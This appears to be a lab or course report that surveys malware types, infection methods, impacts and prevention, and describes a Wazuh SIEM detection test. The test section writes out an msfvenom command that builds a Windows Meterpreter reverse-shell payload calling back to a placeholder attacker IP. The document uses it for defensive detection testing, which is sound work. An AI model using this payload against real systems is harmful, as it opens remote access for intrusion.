**Malware Analysis Report**

**Introduction**

**Malware**, short for malicious software, is designed to disrupt, damage, or gain unauthorized access to computer systems. As cyber threats continue to evolve, malware has become a primary tool for cybercriminals to conduct attacks ranging from data breaches to financial fraud. This report provides an in-depth analysis of various types of malware, their infection methods, impacts, and countermeasures, along with best practices for mitigating these threats.

**Types of Malware**

**1. Viruses**

* **Description:** Malicious programs that attach themselves to system files and execute when the infected file runs.
* **Types:**
  + **Direct Action Viruses:** Execute immediately upon infection and spread by attaching to executable files. They do not persist in memory and activate only when the infected file is executed.
  + **Polymorphic Viruses:** Modify their code slightly upon each infection to evade detection by signature-based antivirus software.
  + **Logic Bombs:** Contain hidden malicious code that activates based on specific conditions, such as a particular date or user action.
  + **Cluster Viruses:** Alter the system’s directory structure so that infected files appear normal, making them difficult to remove.
  + **Memory Resident Viruses:** Load into the system’s memory and remain active, infecting files as they are accessed or opened.
  + **Cavity Viruses:** Hide within empty spaces inside legitimate files, allowing them to evade detection without increasing file size.
* **Examples:** ILOVEYOU, Klez, Chernobyl, Anna Kournikova, Kama Sutra, Flame, Michelangelo.

**2. Worms**

* **Description:** Self-replicating malware that spreads via network vulnerabilities without requiring user action.
* **Characteristics:**
  + Propagates rapidly across systems.
  + Often used for espionage, botnet formation, or launching large-scale cyberattacks.
* **Examples:** Morris, MyDoom, Sobig, Stuxnet.

**3. Trojans (Backdoors)**

* **Description:** Malware disguised as legitimate software that secretly grants attackers unauthorized access to a system.
* **Common Attack Vectors:**
  + Free software downloads.
  + Phishing emails containing disguised executable files.
* **Examples:** Sub 7, GirlFriend, NetBus, ZeroAccess, Beast, Nimda.

**4. Rootkits**

* **Description:** A collection of tools that provide stealthy, unauthorized access to a system.
* **Detection Challenges:**
  + Designed to remain hidden from antivirus programs.
  + Often require system reinstallation for complete removal.
* **Impact:** Persistent access, enabling long-term data theft or system manipulation.

**5. Spyware**

* **Description:** Secretly gathers user information such as keystrokes, login credentials, and browsing history.
* **Deployment Methods:**
  + Embedded in seemingly harmless software.
  + Delivered via phishing attacks or drive-by downloads.
* **Examples:** Zeus, Real-time Spy.

**6. Adware and Scareware**

* **Description:**
  + **Adware:** Displays intrusive advertisements and monitors browsing behavior.
  + **Scareware:** Tricks users into downloading fake security software by falsely claiming their system is infected.
* **Examples:** Search Conduit, rogue antivirus programs.

**7. Ransomware**

* **Description:** Encrypts user files and demands a ransom for decryption.
* **Delivery Methods:**
  + Phishing emails with infected attachments.
  + Malvertising (malicious advertisements that trigger downloads).
* **Examples:** WannaCry, NotPetya, Ryuk, REvil.

**Infection Methods**

* **Untrusted Websites:** Malicious scripts embedded in compromised sites.
* **Removable Devices:** USB drives carrying autorun malware.
* **Email Attachments:** Phishing campaigns tricking users into executing malicious files.
* **Pirated Software:** Often bundled with Trojans or spyware.
* **Weak User Permissions:** Allowing malware to gain elevated privileges.
* **Unpatched Software:** Exploiting known vulnerabilities.
* **Social Engineering:** Manipulating users into executing harmful actions.

**Malware Impact**

**Confidentiality Breach**

* Unauthorized access to sensitive personal, financial, or corporate data.
* Exposure of intellectual property or classified information.

**Integrity Compromise**

* Data corruption, manipulation, or deletion.
* Introduction of fraudulent transactions.

**Availability Disruption**

* Denial of service (DoS) attacks, leading to system downtime.
* Ransomware infections locking critical business files.

**Simulated Malware for Testing**

**To evaluate the detection and monitoring capabilities of our Wazuh SIEM setup, we simulated a controlled malware infection using a custom payload generated via msfvenom. The payload used the Meterpreter shell to establish a reverse connection back to the attacker’s machine.**

**Payload Command Used:**

msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<YOUR\_KALI\_IP> LPORT=4444 -f exe -o wazuh\_test\_payload.exe

**Objective:**The goal was to simulate attacker behavior on the monitored Windows machine to:

* Trigger Wazuh alerts
* Validate real-time detection capabilities
* Analyze log patterns and behavioral indicators

**Result:**Wazuh successfully detected:

* Execution of a suspicious executable
* Creation of a new unauthorized process
* Reverse shell behavior associated with remote access attempts

This test demonstrated Wazuh’s effectiveness in detecting real-world malware threats and emphasized the importance of real-time security monitoring.

**Malware Prevention Strategy**

**1. Technical Controls**

**Endpoint Protection**

* Deploy and update antivirus and EDR tools regularly

**Network Security**

* Use firewalls, IDS/IPS, and DNS filtering to monitor and block threats

**Application Hardening**

* Disable macros and restrict script execution where unnecessary

**Patch Management**

* Implement automated systems to update operating systems and applications

**SIEM Deployment**

* Centralize logging and alerting using platforms such as Wazuh

**2. Policy Enforcement**

**Access Control**

* Apply the principle of least privilege to limit user and application access

**Software Whitelisting**

* Restrict execution to approved and verified software only

**Regular Backups**

* Maintain secure, tested backups to ensure data recovery after incidents

**3. User Awareness and Training**

**Training Programs**

* Conduct frequent cybersecurity awareness programs

**Email Hygiene**

* Encourage cautious handling of emails, attachments, and links

**Usage Policies**

* Ban the use of unauthorized devices and applications

**4. Incident Response Readiness**

**Playbooks**

* Maintain predefined procedures for ransomware and malware incidents

**Forensic Logging**

* Collect detailed logs for analysis and investigation

**Simulated Attacks**

* Test defenses through Red Teaming and simulation exercises

**Conclusion**

Malware continues to pose a serious threat to both individuals and organizations, evolving to bypass traditional security defenses. A comprehensive security strategy that includes **SIEM-based monitoring, behavioral analytics, endpoint protection, and regular employee training** is essential in mitigating these threats. By understanding malware behavior and implementing proactive countermeasures, organizations can enhance their cybersecurity resilience and safeguard their critical assets.